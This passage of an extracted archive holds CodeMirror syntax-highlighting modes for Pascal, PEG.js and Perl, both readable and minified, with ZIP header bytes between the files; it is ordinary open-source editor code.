file for function goto if implementation in inherited inline interface
label mod nil not object of operator or packed procedure program record
reintroduce repeat self set shl shr string then to type unit until uses var
while with xor as class dispinterface except exports finalization finally
initialization inline is library on out packed property raise
resourcestring threadvar try absolute abstract alias assembler bitpacked
break cdecl continue cppdecl cvar default deprecated dynamic enumerator
experimental export external far far16 forward generic helper implements
index interrupt iocheck local message name near nodefault noreturn
nostackframe oldfpccall otherwise overload override pascal platform private
protected public published read register reintroduce result safecall
saveregisters softfloat specialize static stdcall stored strict unaligned
unimplemented varargs virtual
write"),f={null:!0},g=/[+\-*&%=<>!?|\/]/;return{startState:function(){return{tokenize:null}},token:function(b,c){if(b.eatSpace())return
null;var d=(c.tokenize||a)(b,c);return
d},electricChars:"{}"}})),a.defineMIME("text/x-pascal","pascal")}));PKJ��[@Z��
�
codemirror/mode/pegjs/pegjs.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../javascript/javascript"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../javascript/javascript"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("pegjs", function (config) {
  var jsMode = CodeMirror.getMode(config, "javascript");

  function identifier(stream) {
    return stream.match(/^[a-zA-Z_][a-zA-Z0-9_]*/);
  }

  return {
    startState: function () {
      return {
        inString: false,
        stringType: null,
        inComment: false,
        inCharacterClass: false,
        braced: 0,
        lhs: true,
        localState: null
      };
    },
    token: function (stream, state) {
      if (stream)

      //check for state changes
      if (!state.inString && !state.inComment &&
((stream.peek() == '"') || (stream.peek() ==
"'"))) {
        state.stringType = stream.peek();
        stream.next(); // Skip quote
        state.inString = true; // Update state
      }
      if (!state.inString && !state.inComment &&
stream.match(/^\/\*/)) {
        state.inComment = true;
      }

      //return state
      if (state.inString) {
        while (state.inString && !stream.eol()) {
          if (stream.peek() === state.stringType) {
            stream.next(); // Skip quote
            state.inString = false; // Clear flag
          } else if (stream.peek() === '\\') {
            stream.next();
            stream.next();
          } else {
            stream.match(/^.[^\\\"\']*/);
          }
        }
        return state.lhs ? "property string" :
"string"; // Token style
      } else if (state.inComment) {
        while (state.inComment && !stream.eol()) {
          if (stream.match(/\*\//)) {
            state.inComment = false; // Clear flag
          } else {
            stream.match(/^.[^\*]*/);
          }
        }
        return "comment";
      } else if (state.inCharacterClass) {
          while (state.inCharacterClass && !stream.eol()) {
            if (!(stream.match(/^[^\]\\]+/) || stream.match(/^\\./))) {
              state.inCharacterClass = false;
            }
          }
      } else if (stream.peek() === '[') {
        stream.next();
        state.inCharacterClass = true;
        return 'bracket';
      } else if (stream.match(/^\/\//)) {
        stream.skipToEnd();
        return "comment";
      } else if (state.braced || stream.peek() === '{') {
        if (state.localState === null) {
          state.localState = CodeMirror.startState(jsMode);
        }
        var token = jsMode.token(stream, state.localState);
        var text = stream.current();
        if (!token) {
          for (var i = 0; i < text.length; i++) {
            if (text[i] === '{') {
              state.braced++;
            } else if (text[i] === '}') {
              state.braced--;
            }
          };
        }
        return token;
      } else if (identifier(stream)) {
        if (stream.peek() === ':') {
          return 'variable';
        }
        return 'variable-2';
      } else if (['[', ']', '(',
')'].indexOf(stream.peek()) != -1) {
        stream.next();
        return 'bracket';
      } else if (!stream.eatSpace()) {
        stream.next();
      }
      return null;
    }
  };
}, "javascript");

});
PKJ��[���tt"codemirror/mode/pegjs/pegjs.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../javascript/javascript")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../javascript/javascript"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("pegjs",(function(b){function
c(a){return a.match(/^[a-zA-Z_][a-zA-Z0-9_]*/)}var
d=a.getMode(b,"javascript");return{startState:function(){return{inString:!1,stringType:null,inComment:!1,inCharacterClass:!1,braced:0,lhs:!0,localState:null}},token:function(b,e){if(b&&(e.inString||e.inComment||'"'!=b.peek()&&"'"!=b.peek()||(e.stringType=b.peek(),b.next(),e.inString=!0)),e.inString||e.inComment||!b.match(/^\/\*/)||(e.inComment=!0),e.inString){for(;e.inString&&!b.eol();)b.peek()===e.stringType?(b.next(),e.inString=!1):"\\"===b.peek()?(b.next(),b.next()):b.match(/^.[^\\\"\']*/);return
e.lhs?"property
string":"string"}if(e.inComment){for(;e.inComment&&!b.eol();)b.match(/\*\//)?e.inComment=!1:b.match(/^.[^\*]*/);return"comment"}if(e.inCharacterClass)for(;e.inCharacterClass&&!b.eol();)b.match(/^[^\]\\]+/)||b.match(/^\\./)||(e.inCharacterClass=!1);else{if("["===b.peek())return
b.next(),e.inCharacterClass=!0,"bracket";if(b.match(/^\/\//))return
b.skipToEnd(),"comment";if(e.braced||"{"===b.peek()){null===e.localState&&(e.localState=a.startState(d));var
f=d.token(b,e.localState),g=b.current();if(!f)for(var
h=0;h<g.length;h++)"{"===g[h]?e.braced++:"}"===g[h]&&e.braced--;return
f}if(c(b))return":"===b.peek()?"variable":"variable-2";if(-1!=["[","]","(",")"].indexOf(b.peek()))return
b.next(),"bracket";b.eatSpace()||b.next()}return
null}}}),"javascript")}));PKJ��[�C4H�H�codemirror/mode/perl/perl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// CodeMirror2 mode/perl/perl.js (text/x-perl) beta 0.10 (2011-11-08)
// This is a part of CodeMirror from
https://github.com/sabaca/CodeMirror_mode_perl (mail@sabaca.com)

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("perl",function(){
        // http://perldoc.perl.org
        var PERL={                                      //   null - magic
touch
                                                        //   1 - keyword
                                                        //   2 - def
                                                        //   3 - atom
                                                        //   4 - operator
                                                        //   5 - variable-2
(predefined)
                                                        //   [x,y] -
x=1,2,3; y=must be defined if x{...}
                                                //      PERL operators
                '->'                            :   4,
                '++'                            :   4,
                '--'                            :   4,
                '**'                            :   4,
                                                        //   ! ~ \ and
unary + and -
                '=~'                            :   4,
                '!~'                            :   4,
                '*'                             :   4,
                '/'                             :   4,
                '%'                             :   4,
                'x'                             :   4,
                '+'                             :   4,
                '-'                             :   4,
                '.'                             :   4,
                '<<'                            :   4,
                '>>'                            :   4,
                                                        //   named unary
operators
                '<'                             :   4,
                '>'                             :   4,
                '<='                            :   4,
                '>='                            :   4,
                'lt'                            :   4,
                'gt'                            :   4,
                'le'                            :   4,
                'ge'                            :   4,
                '=='                            :   4,
                '!='                            :   4,
                '<=>'                           :   4,
                'eq'                            :   4,
                'ne'                            :   4,
                'cmp'                           :   4,
                '~~'                            :   4,
                '&'                             :   4,
                '|'                             :   4,
                '^'                             :   4,
                '&&'                            :   4,
                '||'                            :   4,
                '//'                            :   4,
                '..'                            :   4,
                '...'                           :   4,
                '?'                             :   4,
                ':'                             :   4,
                '='                             :   4,
                '+='                            :   4,
                '-='                            :   4,
                '*='                            :   4,  //   etc.
???
                ','                             :   4,
                '=>'                            :   4,
                '::'                            :   4,
                                                        //   list operators
(rightward)
                'not'                           :   4,
                'and'                           :   4,
                'or'                            :   4,
                'xor'                           :   4,
                                                //      PERL predefined
variables (I know, what this is a paranoid idea, but may be needed for
people, who learn PERL, and for me as well, ...and may be for you?;)
                'BEGIN'                         :   [5,1],
                'END'                           :   [5,1],
                'PRINT'                         :   [5,1],
                'PRINTF'                        :   [5,1],
                'GETC'                          :   [5,1],
                'READ'                          :   [5,1],
                'READLINE'                      :   [5,1],
                'DESTROY'                       :   [5,1],
                'TIE'                           :   [5,1],
                'TIEHANDLE'                     :   [5,1],
                'UNTIE'                         :   [5,1],
                'STDIN'                         :    5,
                'STDIN_TOP'                     :    5,
                'STDOUT'                        :    5,
                'STDOUT_TOP'                    :    5,
                'STDERR'                        :    5,
                'STDERR_TOP'                    :    5,
                '$ARG'                          :    5,
                '$_'                            :    5,
                '@ARG'                          :    5,
                '@_'                            :    5,
                '$LIST_SEPARATOR'               :    5,
                '$"'                            :    5,
                '$PROCESS_ID'                   :    5,
                '$PID'                          :    5,
                '$$'                            :    5,
                '$REAL_GROUP_ID'                :    5,
                '$GID'                          :    5,
                '$('                            :    5,
                '$EFFECTIVE_GROUP_ID'           :    5,
                '$EGID'                         :    5,
                '$)'                            :    5,
                '$PROGRAM_NAME'                 :    5,
                '$0'                            :    5,
                '$SUBSCRIPT_SEPARATOR'          :    5,
                '$SUBSEP'                       :    5,
                '$;'                            :    5,
                '$REAL_USER_ID'                 :    5,
                '$UID'                          :    5,
                '$<'                            :    5,
                '$EFFECTIVE_USER_ID'            :    5,
                '$EUID'                         :    5,
                '$>'                            :    5,
                '$a'                            :    5,
                '$b'                            :    5,
                '$COMPILING'                    :    5,
                '$^C'                           :    5,
                '$DEBUGGING'                    :    5,
                '$^D'                           :    5,
                '${^ENCODING}'                  :    5,
                '$ENV'                          :    5,
                '%ENV'                          :    5,
                '$SYSTEM_FD_MAX'                :    5,
                '$^F'                           :    5,
                '@F'                            :    5,
                '${^GLOBAL_PHASE}'              :    5,
                '$^H'                           :    5,
                '%^H'                           :    5,
                '@INC'                          :    5,
                '%INC'                          :    5,
                '$INPLACE_EDIT'                 :    5,
                '$^I'                           :    5,
                '$^M'                           :    5,
                '$OSNAME'                       :    5,
                '$^O'                           :    5,
                '${^OPEN}'                      :    5,
                '$PERLDB'                       :    5,
                '$^P'                           :    5,
                '$SIG'                          :    5,
                '%SIG'                          :    5,
                '$BASETIME'                     :    5,
                '$^T'                           :    5,
                '${^TAINT}'                     :    5,
                '${^UNICODE}'                   :    5,
                '${^UTF8CACHE}'                 :    5,
                '${^UTF8LOCALE}'                :    5,
                '$PERL_VERSION'                 :    5,
                '$^V'                           :    5,
                '${^WIN32_SLOPPY_STAT}'         :    5,
                '$EXECUTABLE_NAME'              :    5,
                '$^X'                           :    5,
                '$1'                            :    5, // -
regexp $1, $2...
                '$MATCH'                        :    5,
                '$&'                            :    5,
                '${^MATCH}'                     :    5,
                '$PREMATCH'                     :    5,
                '$`'                            :    5,
                '${^PREMATCH}'                  :    5,
                '$POSTMATCH'                    :    5,
                "$'"                            :    5,
                '${^POSTMATCH}'                 :    5,
                '$LAST_PAREN_MATCH'             :    5,
                '$+'                            :    5,
                '$LAST_SUBMATCH_RESULT'         :    5,
                '$^N'                           :    5,
                '@LAST_MATCH_END'               :    5,
                '@+'                            :    5,
                '%LAST_PAREN_MATCH'             :    5,
                '%+'                            :    5,
                '@LAST_MATCH_START'             :    5,
                '@-'                            :    5,
                '%LAST_MATCH_START'             :    5,
                '%-'                            :    5,
                '$LAST_REGEXP_CODE_RESULT'      :    5,
                '$^R'                           :    5,
                '${^RE_DEBUG_FLAGS}'            :    5,
                '${^RE_TRIE_MAXBUF}'            :    5,
                '$ARGV'                         :    5,
                '@ARGV'                         :    5,
                'ARGV'                          :    5,
                'ARGVOUT'                       :    5,
                '$OUTPUT_FIELD_SEPARATOR'       :    5,
                '$OFS'                          :    5,
                '$,'                            :    5,
                '$INPUT_LINE_NUMBER'            :    5,
                '$NR'                           :    5,
                '$.'                            :    5,
                '$INPUT_RECORD_SEPARATOR'       :    5,
                '$RS'                           :    5,
                '$/'                            :    5,
                '$OUTPUT_RECORD_SEPARATOR'      :    5,
                '$ORS'                          :    5,
                '$\\'                           :    5,
                '$OUTPUT_AUTOFLUSH'             :    5,
                '$|'                            :    5,
                '$ACCUMULATOR'                  :    5,
                '$^A'                           :    5,
                '$FORMAT_FORMFEED'              :    5,
                '$^L'                           :    5,
                '$FORMAT_PAGE_NUMBER'           :    5,
                '$%'                            :    5,
                '$FORMAT_LINES_LEFT'            :    5,
                '$-'                            :    5,
                '$FORMAT_LINE_BREAK_CHARACTERS' :    5,
                '$:'                            :    5,
                '$FORMAT_LINES_PER_PAGE'        :    5,
                '$='                            :    5,
                '$FORMAT_TOP_NAME'              :    5,
                '$^'                            :    5,
                '$FORMAT_NAME'                  :    5,
                '$~'                            :    5,
                '${^CHILD_ERROR_NATIVE}'        :    5,
                '$EXTENDED_OS_ERROR'            :    5,
                '$^E'                           :    5,
                '$EXCEPTIONS_BEING_CAUGHT'      :    5,
                '$^S'                           :    5,
                '$WARNING'                      :    5,
                '$^W'                           :    5,
                '${^WARNING_BITS}'              :    5,
                '$OS_ERROR'                     :    5,
                '$ERRNO'                        :    5,
                '$!'                            :    5,
                '%OS_ERROR'                     :    5,
                '%ERRNO'                        :    5,
                '%!'                            :    5,
                '$CHILD_ERROR'                  :    5,
                '$?'                            :    5,
                '$EVAL_ERROR'                   :    5,
                '$@'                            :    5,
                '$OFMT'                         :    5,
                '$#'                            :    5,
                '$*'                            :    5,
                '$ARRAY_BASE'                   :    5,
                '$['                            :    5,
                '$OLD_PERL_VERSION'             :    5,
                '$]'                            :    5,
                                                //      PERL blocks
                'if'                            :[1,1],
                elsif                           :[1,1],
                'else'                          :[1,1],
                'while'                         :[1,1],
                unless                          :[1,1],
                'for'                           :[1,1],
                foreach                         :[1,1],
                                                //      PERL functions
                'abs'                           :1,     // -
absolute value function
                accept                          :1,     // - accept an
incoming socket connect
                alarm                           :1,     // - schedule a
SIGALRM
                'atan2'                         :1,     // -
arctangent of Y/X in the range -PI to PI
                bind                            :1,     // - binds an
address to a socket
                binmode                         :1,     // - prepare binary
files for I/O
                bless                           :1,     // - create an
object
                bootstrap                       :1,     //
                'break'                         :1,     // -
break out of a "given" block
                caller                          :1,     // - get context of
the current subroutine call
                chdir                           :1,     // - change your
current working directory
                chmod                           :1,     // - changes the
permissions on a list of files
                chomp                           :1,     // - remove a
trailing record separator from a string
                chop                            :1,     // - remove the
last character from a string
                chown                           :1,     // - change the
ownership on a list of files
                chr                             :1,     // - get character
this number represents
                chroot                          :1,     // - make directory
new root for path lookups
                close                           :1,     // - close file (or
pipe or socket) handle
                closedir                        :1,     // - close
directory handle
                connect                         :1,     // - connect to a
remote socket
                'continue'                      :[1,1], // -
optional trailing block in a while or foreach
                'cos'                           :1,     // -
cosine function
                crypt                           :1,     // - one-way
passwd-style encryption
                dbmclose                        :1,     // - breaks binding
on a tied dbm file
                dbmopen                         :1,     // - create binding
on a tied dbm file
                'default'                       :1,     //
                defined                         :1,     // - test whether a
value, variable, or function is defined
                'delete'                        :1,     // -
deletes a value from a hash
                die                             :1,     // - raise an
exception or bail out
                'do'                            :1,     // - turn
a BLOCK into a TERM
                dump                            :1,     // - create an
immediate core dump
                each                            :1,     // - retrieve the
next key/value pair from a hash
                endgrent                        :1,     // - be done using
group file
                endhostent                      :1,     // - be done using
hosts file
                endnetent                       :1,     // - be done using
networks file
                endprotoent                     :1,     // - be done using
protocols file
                endpwent                        :1,     // - be done using
passwd file
                endservent                      :1,     // - be done using
services file
                eof                             :1,     // - test a
filehandle for its end
                'eval'                          :1,     // -
catch exceptions or compile and run code
                'exec'                          :1,     // -
abandon this program to run another
                exists                          :1,     // - test whether a
hash key is present
                exit                            :1,     // - terminate this
program
                'exp'                           :1,     // -
raise I to a power
                fcntl                           :1,     // - file control
system call
                fileno                          :1,     // - return file
descriptor from filehandle
                flock                           :1,     // - lock an entire
file with an advisory lock
                fork                            :1,     // - create a new
process just like this one
                format                          :1,     // - declare a
picture format with use by the write() function
                formline                        :1,     // - internal
function used for formats
                getc                            :1,     // - get the next
character from the filehandle
                getgrent                        :1,     // - get next group
record
                getgrgid                        :1,     // - get group
record given group user ID
                getgrnam                        :1,     // - get group
record given group name
                gethostbyaddr                   :1,     // - get host
record given its address
                gethostbyname                   :1,     // - get host
record given name
                gethostent                      :1,     // - get next hosts
record
                getlogin                        :1,     // - return who
logged in at this tty
                getnetbyaddr                    :1,     // - get network
record given its address
                getnetbyname                    :1,     // - get networks
record given name
                getnetent                       :1,     // - get next
networks record
                getpeername                     :1,     // - find the other
end of a socket connection
                getpgrp                         :1,     // - get process
group
                getppid                         :1,     // - get parent
process ID
                getpriority                     :1,     // - get current
nice value
                getprotobyname                  :1,     // - get protocol
record given name
                getprotobynumber                :1,     // - get protocol
record numeric protocol
                getprotoent                     :1,     // - get next
protocols record
                getpwent                        :1,     // - get next
passwd record
                getpwnam                        :1,     // - get passwd
record given user login name
                getpwuid                        :1,     // - get passwd
record given user ID
                getservbyname                   :1,     // - get services
record given its name
                getservbyport                   :1,     // - get services
record given numeric port
                getservent                      :1,     // - get next
services record
                getsockname                     :1,     // - retrieve the
sockaddr for a given socket
                getsockopt                      :1,     // - get socket
options on a given socket
                given                           :1,     //
                glob                            :1,     // - expand
filenames using wildcards
                gmtime                          :1,     // - convert UNIX
time into record or string using Greenwich time
                'goto'                          :1,     // -
create spaghetti code
                grep                            :1,     // - locate
elements in a list test true against a given criterion
                hex                             :1,     // - convert a
string to a hexadecimal number
                'import'                        :1,     // -
patch a module's namespace into your own
                index                           :1,     // - find a
substring within a string
                'int'                           :1,     // - get
the integer portion of a number
                ioctl                           :1,     // -
system-dependent device control system call
                'join'                          :1,     // - join
a list into a string using a separator
                keys                            :1,     // - retrieve list
of indices from a hash
                kill                            :1,     // - send a signal
to a process or process group
                last                            :1,     // - exit a block
prematurely
                lc                              :1,     // - return
lower-case version of a string
                lcfirst                         :1,     // - return a
string with just the next letter in lower case
                length                          :1,     // - return the
number of bytes in a string
                'link'                          :1,     // -
create a hard link in the filesytem
                listen                          :1,     // - register your
socket as a server
                local                           : 2,    // - create a
temporary value for a global variable (dynamic scoping)
                localtime                       :1,     // - convert UNIX
time into record or string using local time
                lock                            :1,     // - get a thread
lock on a variable, subroutine, or method
                'log'                           :1,     // -
retrieve the natural logarithm for a number
                lstat                           :1,     // - stat a
symbolic link
                m                               :null,  // - match a string
with a regular expression pattern
                map                             :1,     // - apply a change
to a list to get back a new list with the changes
                mkdir                           :1,     // - create a
directory
                msgctl                          :1,     // - SysV IPC
message control operations
                msgget                          :1,     // - get SysV IPC
message queue
                msgrcv                          :1,     // - receive a SysV
IPC message from a message queue
                msgsnd                          :1,     // - send a SysV
IPC message to a message queue
                my                              : 2,    // - declare and
assign a local variable (lexical scoping)
                'new'                           :1,     //
                next                            :1,     // - iterate a
block prematurely
                no                              :1,     // - unimport some
module symbols or semantics at compile time
                oct                             :1,     // - convert a
string to an octal number
                open                            :1,     // - open a file,
pipe, or descriptor
                opendir                         :1,     // - open a
directory
                ord                             :1,     // - find a
character's numeric representation
                our                             : 2,    // - declare and
assign a package variable (lexical scoping)
                pack                            :1,     // - convert a list
into a binary representation
                'package'                       :1,     // -
declare a separate global namespace
                pipe                            :1,     // - open a pair of
connected filehandles
                pop                             :1,     // - remove the
last element from an array and return it
                pos                             :1,     // - find or set
the offset for the last/next m//g search
                print                           :1,     // - output a list
to a filehandle
                printf                          :1,     // - output a
formatted list to a filehandle
                prototype                       :1,     // - get the
prototype (if any) of a subroutine
                push                            :1,     // - append one or
more elements to an array
                q                               :null,  // - singly quote a
string
                qq                              :null,  // - doubly quote a
string
                qr                              :null,  // - Compile
pattern
                quotemeta                       :null,  // - quote regular
expression magic characters
                qw                              :null,  // - quote a list
of words
                qx                              :null,  // - backquote
quote a string
                rand                            :1,     // - retrieve the
next pseudorandom number
                read                            :1,     // - fixed-length
buffered input from a filehandle
                readdir                         :1,     // - get a
directory from a directory handle
                readline                        :1,     // - fetch a record
from a file
                readlink                        :1,     // - determine
where a symbolic link is pointing
                readpipe                        :1,     // - execute a
system command and collect standard output
                recv                            :1,     // - receive a
message over a Socket
                redo                            :1,     // - start this
loop iteration over again
                ref                             :1,     // - find out the
type of thing being referenced
                rename                          :1,     // - change a
filename
                require                         :1,     // - load in
external functions from a library at runtime
                reset                           :1,     // - clear all
variables of a given name
                'return'                        :1,     // - get
out of a function early
                reverse                         :1,     // - flip a string
or a list
                rewinddir                       :1,     // - reset
directory handle
                rindex                          :1,     // - right-to-left
substring search
                rmdir                           :1,     // - remove a
directory
                s                               :null,  // - replace a
pattern with a string
                say                             :1,     // - print with
newline
                scalar                          :1,     // - force a scalar
context
                seek                            :1,     // - reposition
file pointer for random-access I/O
                seekdir                         :1,     // - reposition
directory pointer
                select                          :1,     // - reset default
output or do I/O multiplexing
                semctl                          :1,     // - SysV semaphore
control operations
                semget                          :1,     // - get set of
SysV semaphores
                semop                           :1,     // - SysV semaphore
operations
                send                            :1,     // - send a message
over a socket
                setgrent                        :1,     // - prepare group
file for use
                sethostent                      :1,     // - prepare hosts
file for use
                setnetent                       :1,     // - prepare
networks file for use
                setpgrp                         :1,     // - set the
process group of a process
                setpriority                     :1,     // - set a
process's nice value
                setprotoent                     :1,     // - prepare
protocols file for use
                setpwent                        :1,     // - prepare passwd
file for use
                setservent                      :1,     // - prepare
services file for use
                setsockopt                      :1,     // - set some
socket options
                shift                           :1,     // - remove the
first element of an array, and return it
                shmctl                          :1,     // - SysV shared
memory operations
                shmget                          :1,     // - get SysV
shared memory segment identifier
                shmread                         :1,     // - read SysV
shared memory
                shmwrite                        :1,     // - write SysV
shared memory
                shutdown                        :1,     // - close down
just half of a socket connection
                'sin'                           :1,     // -
return the sine of a number
                sleep                           :1,     // - block for some
number of seconds
                socket                          :1,     // - create a
socket
                socketpair                      :1,     // - create a pair
of sockets
                'sort'                          :1,     // - sort
a list of values
                splice                          :1,     // - add or remove
elements anywhere in an array
                'split'                         :1,     // -
split up a string using a regexp delimiter
                sprintf                         :1,     // - formatted
print into a string
                'sqrt'                          :1,     // -
square root function
                srand                           :1,     // - seed the
random number generator
                stat                            :1,     // - get a
file's status information
                state                           :1,     // - declare and
assign a state variable (persistent lexical scoping)
                study                           :1,     // - optimize input
data for repeated searches
                'sub'                           :1,     // -
declare a subroutine, possibly anonymously
                'substr'                        :1,     // - get
or alter a portion of a stirng
                symlink                         :1,     // - create a
symbolic link to a file
                syscall                         :1,     // - execute an
arbitrary system call
                sysopen                         :1,     // - open a file,
pipe, or descriptor
                sysread                         :1,     // - fixed-length
unbuffered input from a filehandle
                sysseek                         :1,     // - position I/O
pointer on handle used with sysread and syswrite
                system                          :1,     // - run a separate
program
                syswrite                        :1,     // - fixed-length
unbuffered output to a filehandle
                tell                            :1,     // - get current
seekpointer on a filehandle
                telldir                         :1,     // - get current
seekpointer on a directory handle
                tie                             :1,     // - bind a
variable to an object class
                tied                            :1,     // - get a
reference to the object underlying a tied variable
                time                            :1,     // - return number
of seconds since 1970
                times                           :1,     // - return elapsed
time for self and child processes
                tr                              :null,  // - transliterate
a string
                truncate                        :1,     // - shorten a file
                uc                              :1,     // - return
upper-case version of a string
                ucfirst                         :1,     // - return a
string with just the next letter in upper case
                umask                           :1,     // - set file
creation mode mask
                undef                           :1,     // - remove a
variable or function definition
                unlink                          :1,     // - remove one
link to a file
                unpack                          :1,     // - convert binary
structure into normal perl variables
                unshift                         :1,     // - prepend more
elements to the beginning of a list
                untie                           :1,     // - break a tie
binding to a variable
                use                             :1,     // - load in a
module at compile time
                utime                           :1,     // - set a
file's last access and modify times
                values                          :1,     // - return a list
of the values in a hash
                vec                             :1,     // - test or set
particular bits in a string
                wait                            :1,     // - wait for any
child process to die
                waitpid                         :1,     // - wait for a
particular child process to die
                wantarray                       :1,     // - get void vs
scalar vs list context of current subroutine call
                warn                            :1,     // - print
debugging info
                when                            :1,     //
                write                           :1,     // - print a
picture record
                y                               :null}; // - transliterate
a string

        var RXstyle="string-2";
        var RXmodifiers=/[goseximacplud]/;              // NOTE:
"m", "s", "y" and "tr" need to
correct real modifiers for each regexp type

        function tokenChain(stream,state,chain,style,tail){     // NOTE:
chain.length > 2 is not working now (it's for s[...][...]geos;)
                state.chain=null;                               //         
                                                12   3tail
                state.style=null;
                state.tail=null;
                state.tokenize=function(stream,state){
                        var e=false,c,i=0;
                        while(c=stream.next()){
                                if(c===chain[i]&&!e){
                                        if(chain[++i]!==undefined){
                                                state.chain=chain[i];
                                                state.style=style;
                                                state.tail=tail;}
                                        else if(tail)
                                                stream.eatWhile(tail);
                                        state.tokenize=tokenPerl;
                                        return style;}
                                e=!e&&c=="\\";}
                        return style;};
                return state.tokenize(stream,state);}

        function tokenSOMETHING(stream,state,string){
                state.tokenize=function(stream,state){
                        if(stream.string==string)
                                state.tokenize=tokenPerl;
                        stream.skipToEnd();
                        return "string";};
                return state.tokenize(stream,state);}

        function tokenPerl(stream,state){
                if(stream.eatSpace())
                        return null;
                if(state.chain)
                        return
tokenChain(stream,state,state.chain,state.style,state.tail);
                if(stream.match(/^\-?[\d\.]/,false))
                       
if(stream.match(/^(\-?(\d*\.\d+(e[+-]?\d+)?|\d+\.\d*)|0x[\da-fA-F]+|0b[01]+|\d+(e[+-]?\d+)?)/))
                                return 'number';
                if(stream.match(/^<<(?=\w)/)){                  //
NOTE: <<SOMETHING\n...\nSOMETHING\n
                        stream.eatWhile(/\w/);
                        return
tokenSOMETHING(stream,state,stream.current().substr(2));}
                if(stream.sol()&&stream.match(/^\=item(?!\w)/)){//
NOTE: \n=item...\n=cut\n
                        return
tokenSOMETHING(stream,state,'=cut');}
                var ch=stream.next();
                if(ch=='"'||ch=="'"){        
                  // NOTE: ' or " or
<<'SOMETHING'\n...\nSOMETHING\n or
<<"SOMETHING"\n...\nSOMETHING\n
                        if(prefix(stream, 3)=="<<"+ch){
                                var p=stream.pos;
                                stream.eatWhile(/\w/);
                                var n=stream.current().substr(1);
                                if(n&&stream.eat(ch))
                                        return
tokenSOMETHING(stream,state,n);
                                stream.pos=p;}
                        return
tokenChain(stream,state,[ch],"string");}
                if(ch=="q"){
                        var c=look(stream, -2);
                        if(!(c&&/\w/.test(c))){
                                c=look(stream, 0);
                                if(c=="x"){
                                        c=look(stream, 1);
                                        if(c=="("){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[")"],RXstyle,RXmodifiers);}
                                        if(c=="["){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["]"],RXstyle,RXmodifiers);}
                                        if(c=="{"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["}"],RXstyle,RXmodifiers);}
                                        if(c=="<"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[">"],RXstyle,RXmodifiers);}
                                        if(/[\^'"!~\/]/.test(c)){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[stream.eat(c)],RXstyle,RXmodifiers);}}
                                else if(c=="q"){
                                        c=look(stream, 1);
                                        if(c=="("){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[")"],"string");}
                                        if(c=="["){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["]"],"string");}
                                        if(c=="{"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["}"],"string");}
                                        if(c=="<"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[">"],"string");}
                                        if(/[\^'"!~\/]/.test(c)){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[stream.eat(c)],"string");}}
                                else if(c=="w"){
                                        c=look(stream, 1);
                                        if(c=="("){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[")"],"bracket");}
                                        if(c=="["){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["]"],"bracket");}
                                        if(c=="{"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["}"],"bracket");}
                                        if(c=="<"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[">"],"bracket");}
                                        if(/[\^'"!~\/]/.test(c)){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[stream.eat(c)],"bracket");}}
                                else if(c=="r"){
                                        c=look(stream, 1);
                                        if(c=="("){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[")"],RXstyle,RXmodifiers);}
                                        if(c=="["){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["]"],RXstyle,RXmodifiers);}
                                        if(c=="{"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,["}"],RXstyle,RXmodifiers);}
                                        if(c=="<"){
                                                eatSuffix(stream, 2);
                                                return
tokenChain(stream,state,[">"],RXstyle,RXmodifiers);}
                                        if(/[\^'"!~\/]/.test(c)){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[stream.eat(c)],RXstyle,RXmodifiers);}}
                                else
if(/[\^'"!~\/(\[{<]/.test(c)){
                                        if(c=="("){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[")"],"string");}
                                        if(c=="["){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,["]"],"string");}
                                        if(c=="{"){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,["}"],"string");}
                                        if(c=="<"){
                                                eatSuffix(stream, 1);
                                                return
tokenChain(stream,state,[">"],"string");}
                                        if(/[\^'"!~\/]/.test(c)){
                                                return
tokenChain(stream,state,[stream.eat(c)],"string");}}}}
                if(ch=="m"){
                        var c=look(stream, -2);
                        if(!(c&&/\w/.test(c))){
                               
c=stream.eat(/[(\[{<\^'"!~\/]/);
                                if(c){
                                        if(/[\^'"!~\/]/.test(c)){
                                                return
tokenChain(stream,state,[c],RXstyle,RXmodifiers);}
                                        if(c=="("){
                                                return
tokenChain(stream,state,[")"],RXstyle,RXmodifiers);}
                                        if(c=="["){
                                                return
tokenChain(stream,state,["]"],RXstyle,RXmodifiers);}
                                        if(c=="{"){
                                                return
